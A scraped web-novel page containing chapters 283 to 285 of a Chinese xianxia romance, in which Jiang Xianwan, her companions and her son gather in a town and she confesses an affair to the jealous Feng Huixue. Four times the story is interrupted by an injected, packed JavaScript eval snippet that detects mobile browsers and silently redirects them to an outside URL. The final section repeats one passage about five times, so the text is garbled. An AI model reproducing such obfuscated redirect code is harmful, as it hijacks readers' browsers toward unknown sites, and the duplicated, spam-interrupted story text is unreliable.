没有半点把花美人惹哭的心虚还挺骄傲。 “他自找的啊。” “活该。” 云为泽:“……” 这么一听是挺活该。 就像他自个一样差点把自个整的道心破碎。 他怀疑她骂他哥的同时意有所指连他一块给骂进去了。 想到干的那些蠢事还嘴硬的说出赶她走的话耳根子一阵发热。 眼帘悄悄一低被不知何时抬起睫毛似笑非笑的江献晚逮个正着。 云为泽:“……” 心虚的别开一点视线装作看不见。 “咳……那他真走了怎么办?” 话一出便是面色发苦悔的肠子都青了。 他干什么想不开提这茬。 果然江献晚在他怀中一仰脑瓜唇角笑意浓了不止十分。 支起一点身子唇凑到他耳边。 轻轻吹来一口气。 “那便。” “走啊。” 云为泽:“……”拐弯抹角点他是吧? 他才不要走! 羞恼的偏过头轻轻咬了一下她的唇“江献晚。” 无人知晓。 他却是一阵手脚冰凉的后怕。 他知道江献晚没有同他说笑。 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 倘若凤仪真的一走了之,她转身的动作肯定比谁都要麻溜,且再无回旋的余地。 不免心悸,自己当时要她走,她如果没有留下,而是转身就走了…… 云为泽双臂缓缓收拢,下颌轻蹭着她的面颊,声音闷闷的,带着浓重的鼻音。 “偏不走。” “江献晚,你现在就算后悔也晚了。” “南北六宗,皆已见证。” “别想再把我丢掉。” “我会……缠着你的。” 她于他,不知不觉,已是无法缺失的全部。 他方知,什么是由爱生怖,由怖生执,由执生锢。 从此,他不会放手。 还没等江献晚开口,帝隐欲言又止,“会说了?” 这不是说的挺好的。 云为泽:“……” 真的,帝隐这个人,根本不懂什么是礼貌。 江献晚跑,一点不亏他。 江献晚:“……” 交颈相缠的俩人,都没发现身边何时多出来一个人,一时间表情都有些尴尬。 江献晚是最尴尬的那个。 虽然…… 但是…… 且不说云为泽嘴终于长出来了。 她坐在云为泽腿上,被帝隐看着……像什么? 像。 坐拥三宫六院,七十二男妃的女皇。 咳。 江献晚努力收回走歪的念头,僵硬的撑起身子,默默从云为泽腿上往下秃噜。 云为泽本来也觉得有些尴尬,不过,瞧着帝隐并未觉得不妥的贤惠反应。 又见江献晚心虚的往下滑,手一捞,掐着她的腰,搁在腿上,无辜一眨睫帘。 江献晚:“……”非这么玩儿是吧? 眸子一转。 果断伸手。 “不要你抱。” “要帝隐抱!” 云为泽:“……!” 又一次,将他打击的不行。 眼睁睁瞧着帝隐唇角抿出一点羞涩的弧度,从衣缘下伸出一双手,将他腿上的人,抱了过去。 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 哪里不知她是故意。 眼尾轻轻一挑,掰过她的脸,看到她坏坏的笑容,脑袋一热,凑过去,咬了一下。 半是气恼,半是温存。 “江献晚。 “你敢不敢再坏一点。 帝隐:“…… 江献晚:“…… 后知后觉云为泽:“…… 不过,帝隐和云为泽除了双双悄然红了耳尖,倒没觉得有什么。 毕竟。 他们早有准备。 以后这种事情估摸着会很常见。 近日,狐狸和非翎在信道中跳的也不欢了,句句那是阴阳又怪气。 狐狸更是火烧屁股似的。 坐不住,根本坐不住。 连夜坐着云舟,风雨兼程,昼夜不停,赶往之前玄古大赛,落脚的繁华郡。 这会儿,恐怕已经到了。 还……把自个洗干净了。 非翎跟着在信道中嚷嚷,他晚两日就到。 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168959|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 献晚却愣了愣,在帝隐拿指尖沾去她唇瓣上的湿痕,难得脸红了一下。 但,也只是一下。 早晚都要习惯。 她甚至可以想象到,以后这几个男人聚在一起,单是狐狸和非翎,这种情况只多不会少。 话是这么说,江献晚还是难免有些脸热,又头疼。 暗暗咬着指节,将脸伏在帝隐肩头,由他一下一下,轻轻抚过脊背。 别说。 两个美人在侧,还挺……带感。 帝隐低头看着她,眼底似烟水含星,柔软的像一团被揉皱了的月光,满是专注与眷恋。 只要她开心,多出几个人,同他一般爱她,哄她欢喜。 吃醋,也愿了。 见她乖乖伏在帝隐肩头的模样,云为泽看的心软,力度柔和,仿佛触碰一片娇花,指尖去拨她唇角的发丝。 又止不住酸味,嘴唇不自觉微微向下撇,声线多了几分幽怨。 “狐狸来,笑的这么开心? 狐狸还不知凤仪和江献晚的事。 这要是知道,能放过她不成? 听说看这本书的人都是很幸运的,分享后你的运气会更棒 还不好一通闹。 江献晚咬了一下他的指尖,模模糊糊,“只许南帝尊争风吃醋,就不许旁人争风吃醋了?” 提到狐狸,她难免心虚。 但江行行也来了,她自然要去。 伸脖子一刀,缩脖子还是一刀。 刚想到这里,她衣袖中的玉简应景似的一亮。 三双目光瞬间被拉了过去。 江行行还带着些奶音味儿的清脆声,一声一声,欢喜落进耳畔。 “娘亲,孩儿到了,您想吃什么饭?” “孩儿又学了很多道菜哦!娘亲可以随便点哦!” “对了,爹爹没说话是因为他刚到就去洗澡了……” 江献晚:“……” 帝隐:“……” 云为泽:“……” 就说吧。 狐狸之心,人尽皆知。 顶着两道视线,江献晚若无其事回了江行行的信息,清了清嗓子,“那个,你,去不去?” 云为泽:“……” 他要是去了,狐狸还不一蹦三尺高,拿扫把将他扫出来? 对此,他倒挺想看狐狸跳脚又没办法的模样。 不过。 云为泽无意识捻了捻指尖那点残留的湿意,耳根悄然晕红。 “我守着,你与帝隐同去。” 帝隐难得与行行有单独相处的机会。 凤仪情绪正是不稳定。 虚古境又离不开人。 第 283 章 狐狸精 江献晚知道他言下之意,思索片刻,“好。那些药明早不必再喂她吃。 “我要她自己将厄弓拿出来。 虚古境异动那晚,帝隐与云为泽一碰头,便去寻林轻染。 倒是凑巧,只用了半柱香,发现她倒在地上,有将醒的征兆。 眼皮还没睁开完,被帝隐灵力打中,又陷入昏迷。 两人思忖几许,决定等她回来,再做处理。 这几日交由裴长安寸步不离的看守,隔几个时辰,就会喂她吃一次,致人陷入深度昏迷,且四肢无力的丹药。 又有八条锁灵链缚于其身,单是屋内的阵法,云为泽与帝隐便足足摆了十个。 裴长安衣襟内用朱砂勾符,若是阵法与裴长安有异,另一端的人,便能立时察觉。 有系统在,不管林轻染对那些丹药与阵法是否免疫。 这俩倒是乖乖睡了几日。 待明日她回来,林轻染醒来,一切的事,水到渠成。 此事敲定,江献晚与帝隐去了繁华郡。 虚古境外都是些临时搭建的房间,屋舍简陋,狐狸和江行行来也不太合适,左右离繁华郡不远。 帝隐却紧张了起来,情愫难抑,喉结极细微的滚动了一下,抱着她的坐姿挺拔端正,显得有些僵硬。 无意识的用指腹,反复摩挲着她的衣袖。 心音更是如同擂鼓。 “晚晚…… “行行…… “行行他会…… 话一出口,那仙姿佚貌的男子,吐纳已乱半拍。 饶是早已习惯帝隐这种强烈的反差萌,江献晚还是被他可爱的样子笑的心中直打滚。 江行行年纪是小,但作为她儿子,又是狐狸带大的,心眼多着呢。 帝隐与他每每交谈,分寸极佳,但字里行间流露出来的东西,行行又不是不能察觉。 单看他刚开始接到帝隐的那些传信,不欲多说的别扭样子。 再到后来,话渐渐多了起来,开始愿与他分享每日趣事,还能主动传音,向他请教厨艺。 心中肯定是反复确认过这个男人爱她,也爱他。 江行行虽没问过她关于帝隐的任何事,肯定能猜 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 到。 这次见面,估计还会亲口向帝隐确认,再做决定。 江献晚抿唇强忍笑意,轻飘飘说了两句让帝隐捏袖子捏了一路的话。 “这就不知道了。 “哦,对了,今晚行行跟你睡。 帝隐:“…… 屁股下的鱼小白:“还有我! 在帝隐紧张的袖子攥湿一片,江献晚一脸心虚,鱼小白两只小角兴奋的哆嗦。 两人一鱼,还是到了繁华郡。 此时,白昼的余光虽还盛满,阳光斜照的姿势已然显出一种微妙的慵懒。 暮色伏在远方天际,尚待酝酿,街道上的热闹却开始褪去。 风回雪盘了一家三层楼的店铺,根据江行行给的位置,循着后门见到了等候已久的白羽和……狼太灰。 “你俩怎么在一起? “你俩怎么在一起? 江献晚和狼太灰一对眼,异口同声。 白羽看了看帝隐,又瞅了瞅江献晚,双眼麻木,“这大尾巴狼非要跟过来。 死皮赖脸,撵都撵不下云舟。 狼太灰一听就不乐意了,脖子高高一抬,“你都能来,我凭什么不能来! “能要点脸吗你?你说我怎么能来? “那咋了?这繁华郡是你家开的吗?那我来又怎么了! “繁华郡不是我家开的,可这座楼现在是我家的!你站在这里做什么! “你管我!我就想站在这里!再说,行行答应我一起过来玩的啊! “拉倒吧!还不是你驮着他兜了几圈,哄他答应带上你的! “带没带吧?不想看见我你走啊! “我凭什么走?该走的是你! 看着尾巴翅膀吵的都在用力的两个,江献晚默默扯了帝隐从中间穿过,摇着头走了。 “娘亲! 方到后院,玄龟驮着手里还握小铲子的江行行,一溜烟从厨房里蹿了出来。 天雪白尾兽迈着傲娇地小步伐,看似不紧不慢,实则比龟跑的还快,围着江献晚的腿蹭了两圈。 在看到旁边漂着的鱼小白,眼睛一亮,“喵呜一声,扑了过去! 听说看这本书的人都是很幸运的,分享后你的运气会更棒 “好一条大胖鱼!” “晚晚,这是你给我带的礼物吗?” 鱼小白:“……”它有病吧它? 鱼小白这个暴脾气,气的抬起鱼鳍,啪地一下打开它的爪子。 “土肥猫!你好意思说我胖!你才胖!” 后脚奔来的风回雪,看着院子中猫飞鱼跳的一幕,额角青筋跟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168960|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一跳,嫌弃的瞥了一眼帝隐。 迫不及待伸出两只手,发现江献晚亲过江行行,又将他放下后。 突然……局促的扯了扯衣裙? 风回雪:“……”她局促什么? 不是。 她不赶紧扑到他怀里,搁那局促什么? 望着她略显僵硬的动作,躲闪似垂落下去的一双睫毛,风回雪心中咯噔一声。 唇角高高翘起的弧度,刷地一下,耷拉下去。 连带着新浴未久,还洇着薄薄水汽的头发丝都蔫巴了。 他缓缓深吸一口气,坚强的扯了扯嘴角,露出一个不走心的贤惠微笑。 “今天想吃什么?” 一句话,仿若回到从前,风回雪磕磕碰碰,炸了十几次厨房,得意洋洋地端出一盘焦黑的豆腐。 从此以后,只要心血来潮,亲自下厨,必定会先来上这么一句—— “今天想吃什么?” 江献晚心更虚了,目光躲闪,抬头看天。 发现……今天的天可真天。 “吃,吃什么都行。” 狐狸啃了她三次,都没能吃干抹净。 待会儿这要一坦白,还不得气哭了。 难哄…… 风回雪:“……”说话就说话,你不能不要露出这种表情! 搞得他害怕。 她到底又干什么心虚事了? 绝不可能是因为帝隐和云为泽要到了名分一事。 难不成…… 另外两个男人终于出现了??! 不对。 狐狸脑子转的飞快,立刻否定了这个猜测。 如果另外两个男人出现,帝隐和云为泽不可能不会提前跟他们知会一声,让他们有个心理准备。 还是说…… 风回雪脚下一软,登时如遭重击,身子微微摇晃,险些跪在地上,撕心裂肺嚎几嗓子。 好她个江献晚! 她是不是跟人睡了! 那马不停蹄将自个洗的香香的,来欢天喜地等她投怀入抱的他算什么? 吃了三次,都没吃到嘴里的他,又算什么? 她先让旁的吃了? 帝隐? 一双魅惑的狐狸眸,带着无数片刀刃,立刻杀气腾腾,狠狠剜了过去。 好你个狐狸精! 江献晚:“……”他是不是忘了谁才是狐狸。 算了。 她暂时还是别说话了。 第 284 章 岁月静好 帝隐:“…… 接收到狐狸偷偷斜来,恨不能剜**的眼神。 帝隐心思正放在江行行身上,因为太过紧张,一时半会没察觉他在表达什么。 只以为狐狸见他,又在拈酸吃醋。 掩了掩唇。 “那个,我来做饭。 “你们,说会儿话。 风回雪双臂环抱,神色莫名瞅了他十几秒,嗤地冷冷笑出了声。 “用得着你做? “我爷俩自己不会做? 他做? 他做什么做? 故意显摆他是怎么用美食抓住了他儿子跟江献晚的胃? 他厨艺也……不差的好吧! 帝隐:“……狐狸有点暴躁。 江献晚:“…… 江行行:“…… 他们母子,还是不发表看法了。 结果就是,他俩跟在小大人似的,直摇头的江行行屁股后面,钻进了厨房。 狐狸此刻浑身散发着一股强大而骇人的杀气,勉强压下将帝隐削一顿的冲动,卷起了袖子。 后者眉眼沉静,权当看不见,卷袖净手。 三个绕着锅台,显得有些拥挤。 江行行将江献晚牵到门口的软凳上坐下,“娘,您坐这儿,这些水果孩儿都洗干净了。 “儿子还差两道菜没炒出来,您先吃点水果。 “一会儿就好了哦~ 显然,江行行在非翎的熏陶下,对哄自个娘亲这种事儿,愈发得心应手。 心满意足安顿好江献晚,爬到玄龟背上。 羞涩地扭扭小身子,咬了一下粉嫩的小拳头,看起来对自己最近的厨艺很有信心。 “儿子今天准备的,都是娘亲爱吃的哟! 江献晚:“…… 被自个儿子可爱的心都化了,一撸袖子,终于想起自己是娘了。 “娘帮你烧火! “不行!江行行慌忙摇头拒绝了她,“娘亲是女孩子,做饭的事,还是交给行行吧。 他娘很少做饭,他爹做的饭有点……难吃,也不许娘做,他们都是在 你的朋友正在书荒,快去帮帮他吧 外面买饭带回来吃的。 他现在长大了,这些事儿,自然该他做的。 风回雪一边净手,头也不抬,低沉的声线,却下意识软了两分。 “乖乖等着,别进来。” 他觉得他很有必要,做顿饭先冷静一下! 顺便……杀杀帝隐的锐气! 还要……趁着江献晚心虚,将她拆之入腹! 他就不信,他每次都能差一点点! 再这么下去,他什么时候才能上桌! 再次感受到狐狸杀意的帝隐:“……” 非翎他们几个说狐狸没气度,其实,还是有点对的。 但,他这回的醋,是不是没吃到正点? 看他将手中那把明晃晃的菜刀,剁在了菜板上,帝隐默默往旁边……挪了一步。 江献晚:“……” 昧着良心,忽略两个男人之间的暗流涌动,当然是……坐回去。 她也觉得,狐狸可能真的需要浅浅的冷静、发泄一下。 没看那抄起锅铲的手,气的都抖了。 心虚的收回视线。 一手捏起一块被她儿子贴心削成花朵的苹果,一只手撑着面颊,看开始忙碌起来的三个。 看着看着,不自觉入了迷。 风回雪难得一身黑色烫银线衣袍,身量极高,却无半分嶙峋单薄之感,勾勒出肩背处流畅而蓄势的线条。 衣袍的腰身处被一条深青玉带利落收束,更显腰身劲瘦精韧。 玉带之下,双腿修长笔直,袍摆轻垂,每一步如松移云岫,都带着风流的韵律。 微微侧首,光影便沿着喉结起伏的弧度滑落,没入严整交叠的衣领深处,内掩在魅惑皮囊下的克制与矜贵,便无声流泻。 手持锅铲,认真炒菜的模样,别有一番妖魅丈量红尘的滟色。 江献晚眸光一划,又忍不住再去看帝隐。 帝隐今日一身玄色深衣,袖子卷起宽宽的两道,露出清瘦有力的玉质骨腕。 长及足踝的银发,将颀长的身形镀上一层流动的色泽,仅在那精窄而蓄满力量的腰身,用一根白色丝带堪堪一束。 宽大的衣袍,垂坠如夜,非但未能吞没身形,反倒被那宽肩窄腰的长架 听说和异性朋友讨论本书情节的,很容易发展成恋人哦< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168961|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 骨骼撑的惊心动魄,在肩峰、脊线、腕口留下几道吝啬的冷亮边缘。 行走时,袍角轻摆,衣料便如墨痕般随之流动,通身清绝风姿,勾画的淋漓尽致。 认真低垂着眉眼,熟稔的将萝卜切成粗细一致的丝,活像沾染一身烟火气的冰雪谪仙。 这两个男人,完全不同的风格,却同样的好看。 站在一处,如两道玉山将倾、却终未倾的峻拔风景。 江献晚托着小脸叹息。 再看自个儿子时,眼底的欣赏,那叫一个怒放,满满登登溢出,葡萄吃的都有些不走心。 她儿子好看,贼好看。 肤色像她,白的发光,眉眼更像帝隐,七分疏离清冽,三分肖她的秾滟。 尤其那双琉璃般的眼,一眼便能看到底,似一汪雪洗过的清泉,水汪汪的。 个头抽条,长得极快,不难看出,她儿子长大,绝对能迷倒两境三域。 浑身无意识的小架势,全然与狐狸学了十足十。 看似又是小正经,还有些跳脱。 两团可爱的发包,金色的丝带垂在小肩膀上,踮脚揭开锅盖,飞快捏了一下热气腾腾的小笼包,还能随手塞玄龟嘴里一片菜叶。 “不行,现在不能吃,要等蒸熟了,娘亲先尝过。” 听着鱼小白和天雪白尾兽打的翻天覆地的动静,望着这岁月静好的一幕,江献晚难免有些出神。 从前,打死她都想不出她的人生中会出现这样一副画面。 美好的简直像是做梦。 余光一直分在她身上的两个男人,视线碰了一下,再低头忙碌时,唇角皆是再柔软不过的弧度。 江献晚缓缓起身,从身后拥住忙忙碌碌的狐狸,将面颊轻轻贴了过去。 香风拂来的一瞬,风回雪一颗狐狸心,霎时化作一滩春水。 再大的醋意……暂时也给忘了。 一手翻炒着菜,腾出一只手,用指腹擦去她脸颊上沾染的葡萄汁。 谁料,抹的更匀了。 帝隐不动声色拿了帕子,给她擦了擦脸。 刚从玄龟壳上,捏着帕子跳下来的江行行:“……” 待他娘贴心弯下身,开开心心捧起她的脸,送上一个香香的吻。 第 285 章 破防 风回雪瞥了眼始终注意着这边的帝隐,勾唇,俯身,点点自己的脸颊。 “儿子,爹爹呢?” 江行行:“……”他爹心眼就是多啊。 他打小没怎么亲过他爹,他爹亲他的次数同样屈指可数。 等他长大一点,他爹大多时候还不乐意他亲他娘。 看了看那玄衣银发的男子,江行行叹了一口气,当然是给足他爹面子。 风回雪直起身,把脸凑近江献晚,眼波流转,漾出无尽的媚色与思念。 哑声道:“晚晚。” 江献晚飞快亲了一下他,淡定提醒,“菜糊了。” 风回雪:“……” 摁着她的脑瓜,用力压上那双软嘟嘟的唇。 才忙翻了两下菜,顺便……递给帝隐一个得意的眼神。 饭做的再好怎么样? 晚晚亲我了。 儿子也亲我了。 你怎么就没有呢。 帝隐:“……” 没气度的狐狸。 一顿饭总体下来,做的还算风平浪静。 鱼小白它俩架还没打完,白羽和狼太灰边吵边走回来,刚好赶上饭点。 待看到座位上神姿端静的男人,同时止了声。 狼太灰捏起筷子,身子微微一斜,小声道:“他怎么在这?” 他们家聚餐,他过来干什么? 蹭饭? 白羽:“……”你觉得他为什么在这? 他缺这一顿饭? 傻子吧。 一顿饭下来,吃的同样风平浪静,却各有心思。 狼太灰看的目瞪口呆,压低声音,惊悚道:“不是,他给江献晚夹菜干什么?死狐狸竟然不跳脚?!” “白羽,我是不是出现幻觉了,我怎么觉得我这眼睛好像有问题……” 北帝尊给江献晚夹菜就算了,他竟然还给她……擦嘴?! 死狐狸不炸毛,还跟他争宠? 他什么时候这么大度了? 还是太阳打西边出来了? 白羽:“……”有问题的分明是你自己的脑子好吧? 受不了这种古怪的气氛,胡乱扒了几口饭,逃也似的起身。 狼太灰面庞扭曲,又瞅了一眼旁若无人,无比和谐的三个,突然一哆嗦,筷子都没放下,拔腿跟着离开。 江行行看了看他娘,看了看他爹,再看帝隐,“您玩捉迷藏吗?” 袖子又攥湿一片的帝隐,眸光一颤,立刻搁下手里的筷子,竭力放软声线,柔声道:“好。” 眼看着这么大一个清冷如霜的男子,带着江行行和两只兽在院子里玩起了捉迷藏。 蹲在假山后的狼太灰脸都扭曲了,抬手一指,“不是,他在干什么?” “捉迷藏?” 北帝尊没事,跑来又是吃饭又是捉迷藏? 白羽拿看**的眼神,嫌弃地翻给他一个优雅无比的白眼,忍不住变回原形,缩小。 “你捉不捉?” 狼太灰:“……捉!” 闲着也是闲着。 北帝尊都能捉,他怎么就不能捉。 这处院子占地极广,很是精致,假山流水,古树花田,什么都不缺,倒是极适合捉迷藏。 江献晚屈身躺到竹椅上,视线追随着撅起屁股,搬开一块石头,嘴角嘟囔着“狼呢?”的江行行。 一截银灰色的尾巴尖,无语地从假山上垂落,扫过江行行的脑袋。 江行行没发现,挠挠脸,眼睛一亮,蹭地跑了几步,对着假山上一只白色的小鸟。 “白羽,是你吗白羽?” 正踩在他头顶树杈上的白羽:“……” 小殿下,你抬起头来看看我,我不信你两眼空空。 滚在草地里的天雪白尾兽和鱼小白,突然一个没忍住,哈哈笑出了声,**行行逮个正着。 “啊,抓到两个!” 两个:“我们没说要玩!” 江行行:“不玩也得玩!” 看着玄龟露出一点短尾巴,此地无银三百两,帝隐没忍住,躲在假山后面,也跟着轻笑出声。 江行行耳尖一支,捯饬着两条小短腿,飞快的扑上那片想要逃走的衣料。 惊喜欢呼。 “啊!又抓到一个!” 帝隐低眸,看着腿上小小的人儿,眼眶一热。 这边岁月静好,另一边气氛忽然古怪起来。 风回雪默默挪身,坐到江献晚旁边的凳子上,从睫毛下瞥了一眼足以容纳两人的宽敞竹椅。 指尖动了一动,目不斜视地看着撅着屁股到处找狼的江行行,不见如何动作,下一秒,人已丝滑地躺到江献晚身边。 江献晚:“……” 双手有些不自在的抵着他贴近的胸膛,偏开头躲开一个热情洋溢的吻。 “别闹,行行在。” 这么多双眼睛看着呢。 风回雪果断更用力环紧了她的腰肢,往怀里密密实实一带,唇瓣几乎是急不可耐,吮上那截柔腻的颈。 舔了一下。 又一下。 再开口,声线已然沙哑。 “那,我们进去?” 他想江献晚,日夜在想,想的他每晚都睡不着…… 心力交瘁。 还……**焚身。 简直串在火架上,翻来覆去的炙烤,要将他活活烧死。 他受不了。 真的受不了。 江献晚:“……”就说刚才吃饭吃的那么快! 脑子里净是这点事了! 远远瞧见少儿不宜的一幕,灰太狼和白羽抖尾巴的抖尾巴,抖翅膀的抖翅膀,双双嫌弃地一撇嘴,拔腿就跑。 帝隐忙引了江行行和鱼小白它们往远处去。 风回雪瞥了一眼藏远的几个,脸扔的更是彻底,愈发急色的叼着那处皮肉,又啃又舔,恨不能吞吃一般。 委屈的嗓音低低的。 “晚晚,今天怎么不抱我?” “我心口疼,你没抱我我心口疼。” “晚晚,你摸一下,摸一下我好不好。” 江献晚暗自吸了一口气,给他的回应,却精准的再次命中狐狸的心口。 “我跟人睡了。” “不是帝隐。” “花不休。” 风回雪:“……!” 流连在那柔腻颈子上的动作一僵,久久无声。 江献晚沉默着,衣袖中的指缓缓蜷起,攥紧。 她这几日其实也有些 别扭,还有负罪感。 皆是因为风回雪。 怕他就算不说,也会偷偷伤心。 她知道狐狸对她的执念有多深。 对她来说,风回雪又何尝不是最特殊的那一个。 江献晚垂落一双睫毛,不敢看他的反应。 风回雪:“……” 松开手臂,看了她一会儿,唇一颤,“你把凤仪睡了?” 自从见到江献晚,他把帝隐猜了,把云为泽猜了,就是没猜到那人会是花不休! 合着一个一个,趁他不在的功夫,全上位了? 江献晚垂着睫帘,未语。 “你睡了他也要睡我!” 猛地一声。 她的肩被握上,身子被转过来,思绪被一声乍响冲走,震惊中将那双漂亮的狐狸眸里的委屈看了个清楚。 风回雪一双眼都红了,不知是气的还是气的。 修长的指握着她的肩,一晃,带着破大防的哭声。 “没良心的女人!说!你连他都能睡,凭什么不先睡我!” “你知不知道我等你等的有多辛苦!” “你知不知道我想你想的每天憋的有多辛苦!你呢?扭头先把凤仪睡了!” “那我呢!” 江献晚:“……” 这是先睡谁的问题吗? 她不想先睡他的吗? 别扭,还有负罪感。 皆是因为风回雪。 怕他就算不说,也会偷偷伤心。 她知道狐狸对她的执念有多深。 对她来说,风回雪又何尝不是最特殊的那一个。 江献晚垂落一双睫毛,不敢看他的反应。 风回雪:“……” 松开手臂,看了她一会儿,唇一颤,“你把凤仪睡了?” 自从见到江献晚,他把帝隐猜了,把云为泽猜了,就是没猜到那人会是花不休! 合着一个一个,趁他不在的功夫,全上位了? 江献晚垂着睫帘,未语。 “你睡了他也要睡我!” 猛地一声。 她的肩被握上,身子被转过来,思绪被一声乍响冲走,震惊中将那双漂亮的狐狸眸里的委屈看了个清楚。 风回雪一双眼都红了,不知是气的还是气的。 修长的指握着她的肩,一晃,带着破大防的哭声。 “没良心的女人!说!你连他都能睡,凭什么不先睡我!” “你知不知道我等你等的有多辛苦!” “你知不知道我想你想的每天憋的有多辛苦!你呢?扭头先把凤仪睡了!” “那我呢!” 江献晚:“……” 这是先睡谁的问题吗? 她不想先睡他的吗? 别扭,还有负罪感。 皆是因为风回雪。 怕他就算不说,也会偷偷伤心。 她知道狐狸对她的执念有多深。 对她来说,风回雪又何尝不是最特殊的那一个。 江献晚垂落一双睫毛,不敢看他的反应。 风回雪:“……” 松开手臂,看了她一会儿,唇一颤,“你把凤仪睡了?” 自从见到江献晚,他把帝隐猜了,把云为泽猜了,就是没猜到那人会是花不休! 合着一个一个,趁他不在的功夫,全上位了? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16168962|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江献晚垂着睫帘,未语。 “你睡了他也要睡我!” 猛地一声。 她的肩被握上,身子被转过来,思绪被一声乍响冲走,震惊中将那双漂亮的狐狸眸里的委屈看了个清楚。 风回雪一双眼都红了,不知是气的还是气的。 修长的指握着她的肩,一晃,带着破大防的哭声。 “没良心的女人!说!你连他都能睡,凭什么不先睡我!” “你知不知道我等你等的有多辛苦!” “你知不知道我想你想的每天憋的有多辛苦!你呢?扭头先把凤仪睡了!” “那我呢!” 江献晚:“……” 这是先睡谁的问题吗? 她不想先睡他的吗? 别扭,还有负罪感。 皆是因为风回雪。 怕他就算不说,也会偷偷伤心。 她知道狐狸对她的执念有多深。 对她来说,风回雪又何尝不是最特殊的那一个。 江献晚垂落一双睫毛,不敢看他的反应。 风回雪:“……” 松开手臂,看了她一会儿,唇一颤,“你把凤仪睡了?” 自从见到江献晚,他把帝隐猜了,把云为泽猜了,就是没猜到那人会是花不休! 合着一个一个,趁他不在的功夫,全上位了? 江献晚垂着睫帘,未语。 “你睡了他也要睡我!” 猛地一声。 她的肩被握上,身子被转过来,思绪被一声乍响冲走,震惊中将那双漂亮的狐狸眸里的委屈看了个清楚。 风回雪一双眼都红了,不知是气的还是气的。 修长的指握着她的肩,一晃,带着破大防的哭声。 “没良心的女人!说!你连他都能睡,凭什么不先睡我!” “你知不知道我等你等的有多辛苦!” “你知不知道我想你想的每天憋的有多辛苦!你呢?扭头先把凤仪睡了!” “那我呢!” 江献晚:“……” 这是先睡谁的问题吗? 她不想先睡他的吗? 别扭,还有负罪感。 皆是因为风回雪。 怕他就算不说,也会偷偷伤心。 她知道狐狸对她的执念有多深。 对她来说,风回雪又何尝不是最特殊的那一个。 江献晚垂落一双睫毛,不敢看他的反应。 风回雪:“……” 松开手臂,看了她一会儿,唇一颤,“你把凤仪睡了?” 自从见到江献晚,他把帝隐猜了,把云为泽猜了,就是没猜到那人会是花不休! 合着一个一个,趁他不在的功夫,全上位了? 江献晚垂着睫帘,未语。 “你睡了他也要睡我!” 猛地一声。 她的肩被握上,身子被转过来,思绪被一声乍响冲走,震惊中将那双漂亮的狐狸眸里的委屈看了个清楚。 风回雪一双眼都红了,不知是气的还是气的。 修长的指握着她的肩,一晃,带着破大防的哭声。 “没良心的女人!说!你连他都能睡,凭什么不先睡我!” “你知不知道我等你等的有多辛苦!” “你知不知道我想你想的每天憋的有多辛苦!你呢?扭头先把凤仪睡了!” “那我呢!” 江献晚:“……” 这是先睡谁的问题吗? 她不想先睡他的吗? 别扭,还有负罪感。 皆是因为风回雪。 怕他就算不说,也会偷偷伤心。 她知道狐狸对她的执念有多深。 对她来说,风回雪又何尝不是最特殊的那一个。 江献晚垂落一双睫毛,不敢看他的反应。 风回雪:“……” 松开手臂,看了她一会儿,唇一颤,“你把凤仪睡了?” 自从见到江献晚,他把帝隐猜了,把云为泽猜了,就是没猜到那人会是花不休! 合着一个一个,趁他不在的功夫,全上位了? 江献晚垂着睫帘,未语。 “你睡了他也要睡我!” 猛地一声。 她的肩被握上,身子被转过来,思绪被一声乍响冲走,震惊中将那双漂亮的狐狸眸里的委屈看了个清楚。 风回雪一双眼都红了,不知是气的还是气的。 修长的指握着她的肩,一晃,带着破大防的哭声。 “没良心的女人!说!你连他都能睡,凭什么不先睡我!” “你知不知道我等你等的有多辛苦!” “你知不知道我想你想的每天憋的有多辛苦!你呢?扭头先把凤仪睡了!” “那我呢!” 江献晚:“……” 